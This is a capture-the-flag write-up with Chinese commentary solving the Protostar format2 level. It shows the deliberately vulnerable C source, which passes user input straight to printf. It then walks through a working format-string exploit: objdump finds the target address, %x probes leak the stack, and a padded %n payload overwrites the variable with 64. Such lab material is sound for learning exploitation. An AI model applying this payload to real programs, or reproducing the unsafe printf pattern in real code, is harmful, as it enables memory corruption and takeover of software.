About

This level moves on from  format1 and shows how specific values can be written in memory.
This level is at /opt/protostar/bin/format2

Source code

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln()
{
char buffer[512];

fgets(buffer, sizeof(buffer), stdin);
printf(buffer);

if(target == 64) {
    printf("you have modified the target :)\n");
} else {
    printf("target is %d :(\n", target);
}
}

int main(int argc, char **argv)
{
vuln();
}

这题与上题有点区别：1、传参改为fgets；2、target=64
同样需要找到target的位置
user@protostar:/opt/protostar/bin$ objdump -t ./format2 | grep target
080496e4 g         O .bss     00000004                            target

同样先找出赋值动作的位置：
user@protostar:/opt/protostar/bin$ python -c 'print "aaaaaaaa"+"%x."*150' | ./format2

target is 0 :(

nice，这次很近。同样确认一下位置：
user@protostar:/opt/protostar/bin$ python -c 'print "aaaaaaaa%x%x%x%x"' | ./format2
aaaaaaaa200b7fd8420bffff62461616161
target is 0 :(
按照上一题的做法看看会发生什么事情 ：
user@protostar:/opt/protostar/bin$ python -c 'print "\xe4\x96\x04\x08aaaa%x%x%x%n"' | ./format2
aaaa200b7fd8420bffff624
target is 27 :(
OK，这里已经成功更改了target的值了，题目要求是64，只需要将%x固定长度输出即可：
user@protostar:/opt/protostar/bin$ python -c 'print "\xe4\x96\x04\x08aaaa%40x%x%x%n"' | ./format2
aaaa                                                                         200b7fd8420bffff624
you have modified the target :)
